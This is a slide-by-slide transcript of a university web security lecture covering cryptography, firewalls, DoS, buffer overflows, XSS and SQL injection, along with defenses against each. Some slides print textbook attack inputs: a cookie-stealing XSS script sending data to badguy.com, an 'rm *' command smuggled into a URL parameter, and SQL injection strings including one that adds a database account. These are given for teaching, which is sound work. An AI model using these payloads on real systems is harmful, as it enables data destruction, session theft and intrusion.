Enhancing Web Security: Best Practices for Protecting Systems Against Attacks

1. CS6320 – Web Security L. Grewe Modified from http://crypto.stanford.edu/cs155/

2. Issues • Authentication, Authorization • Protecting your system against hackers • Controlling access to critical data • Control inbound versus outbound traffic • security versus accessibility tradeoffs • security versus capability tradeoffs • multi-tier versus single-tier solutions  • security versus expense tradeoffssecurity and capability versus administrative overhead and complexity

3. Solutions • Software-based • Hardware-based • Freeware versus Commercial Products • Use of Security Protocols • Cryptography • Converting messages to unreadable forms...and back • Steganography • Hiding the existence of a message

4. One issue….buffer overflow…things getting better Majority of vulnerabilities now found in web software Source: MITRE CVE trends

5. Authorization Example Web Site architecture w/ Security Components WS1 Firewall Firewall ApplicationFirewall (WAF) LoadBalancer DB AppServers WS2 WS3 IntrusionDetection System

6. Attacks of systems • Common web-site attacks: • Denial of Service • Attack the web server (IIS, Apache) : • e.g. control hijacking: CodeRed, Nimda, … • Solutions: • Harden web server: stackguard, libsafe, … • Worm defense: • Host based intrusion detection, • Worm signatures generation, shields.

7. Firewalls • A system designed to prevent unauthorized access to or from a private network. Firewalls can be implemented in both hardware and software, or a combination of both • IP filtering (packet filtering) • = controls access by solely looking at information contained in the IP header of data packets being sent to the server. • Proxy Servers/Application Firewalls

8. Web Application Firewalls • Prevent some attacks such as: • SQL Injection • Form field tampering • Cookie poisoning • Some examples: • Imperva • Kavado Interdo • F5 TrafficShield • Citrix NetScaler • CheckPoint Web Intelligence

9. Message/Information Hiding • Protect some information being sent from client to server and vice-versa. • Through encryption. • Some protocols such as SSL (secure socket layer) using encryption to perform “secure” exchange of information.

10. Encryption • Convert normal, readable data into obscured, unreadable data Hi There!! Encryption Algorithm m/okuGlilkdskuch Hi There!! Encryption Algorithm alieka;wk12938*

11. Decryption • Convert obscured, unreadable data into normal, readable data Hi There!! m/okuGlilkdskuch Decryption Algorithm Hi There!! alieka;wk12938* Decryption Algorithm

12. Terminology • plaintext - clear readable text • ciphertext - unreadable text • cipher - algorithm(s) for encryption and decryption Hi There!! Encryption Algorithm alieka;wk12938* Hi There!! alieka;wk12938* Decryption Algorithm

13. Terminology • Key -- a secret piece of information that controls how the encryption algorithm works • Different keys produce different encrypted results Key: “Citizen Kane” Hi There!! Encryption Algorithm 109291ala;dfwij? Key: “Citizen Kano” Hi There!! Encryption Algorithm 398jfasd;k2//ad?

14. Symmetric Key Technology • Alice wants to send a private/confidential message to Bob • Alice computes c=crypt(message,key) • Sends c to Bob over unsecured wire • Bob computes message=crypt(c,key)

15. Symmetric Key Application • Password login • Alice sends password to computer to prove identity (authenticity) • Problem: Sniffing • Solution: Challenge/response

16. Shared Secret Key • Shared secret is great... but how do we distribute it?

17. Asymmetric Key Cryptography • Instead of one key, have two • public key • private key • Public key known to everyone and a Private or secret key known only to the recipient of the message. • When John wants to send a secure message to Jane, he uses Jane's public key to encrypt the message. Jane then uses her private key to decrypt it. • Computing private key from public key is very, very difficult (factoring huge number)

18. Asymmetric Encryption Example • John:finds Jane.pub (public key) from her website (or she gives it in an email to John) • John:computes c = crypt(message, Jane.pub) • John:sends c to Jane over unsecured wire • Jane: computes message = crypt(c, Jane.priv)

19. Advantages • Key distribution not a problem! • Anyone can send a message to Jane • Only Jane can decrypt!

20. Asymmetric Encryption for Authentication • Alice wants to tell Bob the message is really from her! • Digital signature • Alice computes c = crypt(message, Alice.priv) • Alice sends c over unsecured wire • Anyone can check that Alice is the sender... by computing message = crypt(c, Alice.pub)

21. Authenticity + Secrecy Alice A.priv A.pub, B.pub, ... Bob B.priv “I LUV U” Carl & Eve Bad People!

22. Authenticity + Secrecy Alice A.priv A.pub, B.pub, ... Bob B.priv “I LUV U” B.pub Carl & Eve Bad People!

23. Authenticity + Secrecy Alice A.priv A.pub, B.pub, ... Bob B.priv “I LUV U” B.pub “This is from A” Carl & Eve Bad People!

24. “I LUV U” B.pub “This is from A” A.priv Authenticity + Secrecy Alice A.priv A.pub, B.pub, ... Bob B.priv Carl & Eve Bad People!

25. “I LUV U” B.pub “This is from A” A.priv Authenticity + Secrecy Alice A.priv A.pub, B.pub, ... Bob B.priv Carl & Eve Bad People!

26. “I LUV U” B.pub “This is from A” A.priv Authenticity + Secrecy Alice A.priv A.pub, B.pub, ... Bob B.priv Carl & Eve Bad People!

27. Another Solution: Digital Certificates • Certificate Authority: publishes that a particular identity goes with a particular public key • Alice gets certificate (identity <=> public key), signed by CA • So if you trust CA, then you can trust the public key

28. SSL…the idea • Jane connects to John's server • John's server returns certificate (signed by VeriSign), plus something encrypted w/ John.priv • Jane can verify certificate is valid • Uses public key to decrypt token • John authenticated • Jane makes one time session key k • Encrypts w/ John's public key, sends to John • Now, can use symmetric key cryptography

29. Attacks… • There are many kinds of attacks that hackers have done • Will mention some more weaknesses here ….but, take a class on security, cryptography, etc. to get into more details.

30. Attack: Denial of Service • Make the service unavailable • Flood of incoming traffic • Use robot to launch DOS on server. Hard to trace identity of attacker. • Distributed DOS (DDOS) • Take over many machines, launch attack simultaneously from many locations

31. Attack: Buffer Overflow • Bad guy sends a huge, over-sized request to a naïvely implemented (aka buggy) program, overflowing the input buffer • May overwrite data in memory (and/or) program code • May overwrite the return address on the stack of a program in C, so that the procedure call returns somewhere else

32. How To Avoid Buffer Overflow • Write code carefully • Limit input size; read in small chunks as opposed to reading in whole input • Use better languages (e.g. java)

33. Another Problem >>>>>What about all of the web application code??? • Runs on web server or app server. • Takes input from web users (via web server) • Interacts with the database and 3rd parties. • Prepares results for users (via web server) • Examples: • Shopping carts, home banking, bill pay, tax prep, … • New code written for every web site. • Written in: • C, PHP, Perl, Python, JSP, ASP, … • Often written with little consideration for security.

34. Web Application problems • Inadequate validation of user input • Cross site scripting • SQL Injection • HTTP Splitting • Broken session management • Can lead to session hijacking and data theft • Insecure storage • Sensitive data stored in the clear. • Prime target for theft – e.g. egghead, Verizon. • Note: PCI Data Security Standard (Visa, Mastercard)

35. script name script input system(“cp temp.dat $name.dat”) A simple example • Direct use of user input: http://victim.com/ copy.php ? name=username copy.php: • Problem: • http://victim.com/ copy.php ? name=“a ; rm *” (should be: name=a%20;%20rm%20* )

36. Redirects EZShopper.com shopping cart (10/2004): http://…/cgi-bin/ loadpage.cgi ? page=url • Redirects browser to url Redirects are common on many sites • Used to track when user clicks on external link • EZShopper uses redirect to add HTTP headers • Problem: phishing http://victim.com/cgi-bin/loadpage ? page=phisher.com • Link to victim.com puts user at phisher.com  Local redirects should ensure target URL is local

37. Cross Site Scripting (XSS)

38. The setup • User input is echoed into HTML response. • Example: search field • http://victim.com/search.php ? term = apple • search.php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML> • Is this exploitable?

39. Answer…..Bad input • Problem: no validation of input term • Consider link: (properly URL encoded) http://victim.com/search.php ? term = <script> window.open( “http://badguy.com?cookie = ” + document.cookie ) </script> • What if user clicks on this link? • Browser goes to victim.com/search.php • Victim.com returns <HTML> Results for <script> … </script> • Browser executes script: • Sends badguy.com cookie for victim.com

40. What is the problem? • Why would user click on such a link? • Phishing email in webmail client (e.g. gmail). • Link in doubleclick banner ad • … many many ways to fool user into clicking • What if badguy.com gets cookie for victim.com ? • Cookie can include session auth for victim.com • Or other data intended only for victim.com • Violates same origin policy

41. Worse … • Attacker can execute arbitrary scripts in browser • Can manipulate any DOM component on victim.com • Control links on page • Control form fields (e.g. password field) on this page and linked pages. • Example: inject password field that sends password to bad guy. • Can infect other users: MySpace.com worm.

42. MySpace.com (Samy worm) • Users can post HTML on their pages • MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> • … but can do Javascript within CSS tags: <div style=“background:url(‘javascript:alert(1)’)”> And can hide“javascript”as“java\nscript” • With careful javascript hacking: • Samy’s worm: infects anyone who visits an infected MySpace page … and adds Samy as a friend. • Samy had millions of friends within 24 hours. • More info: http://namb.la/popular/tech.html

43. Avoiding XSS bugs (PHP) • Main problem: • Input checking is difficult --- many ways to inject scripts into HTML. • Preprocess input from user before echoing it • PHP: htmlspecialchars(string) &  &amp; "  &quot; '  &#039; <  &lt; >  &gt; • htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES); Outputs: &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;

44. httpOnly Cookies (IE) GET … Server Browser HTTP Header: Set-cookie: NAME=VALUE ; HttpOnly • Cookie sent over HTTP(s), but not accessible to scripts • cannot be read via document.cookie • Helps prevent cookie theft via XSS • … but does not stop most other risks of XSS bugs.

45. SQL Injection

46. The setup • User input is used in SQL query • Example: login page (in ASP) set ok = execute(“SELECT * FROM UserTable WHERE username=′ ” & form(“user”) & “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” ); If not ok.EOF login success else fail; • Is this a problem?

47. The problem …..Bad input • Suppose user = “ ′or 1 = 1 -- ” (URL encoded) • Then scripts does: ok = execute( SELECT … WHERE username= ′′ or 1=1 --… ) • The “--” causes rest of line to be ignored. • Now ok.EOF is always false. • The bad news: easy login to many sites this way.

48. Worse… • Suppose user = ′exec cmdshell ′net user badguy badpwd′ / ADD -- • Then script does: ok = execute( SELECT … WHERE username= ′′ exec …) If SQL server contextruns as “sa”, attacker gets account on DB server.

49. Avoiding SQL injection • Build SQL queries by properly escaping args: ′  \′ • Example: Parameterized SQL: (ASP.NET 1.1) • Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader(); • In PHP: bound parameters -- similar function

50. App code • Little programming knowledge can be dangerous: • Cross site scripting • SQL Injection • HTTP Splitting • What to do? • Band-aid: Web App Firewall (WAF) • Looks for attack patterns and blocks requests • False positive / false negatives • Code checking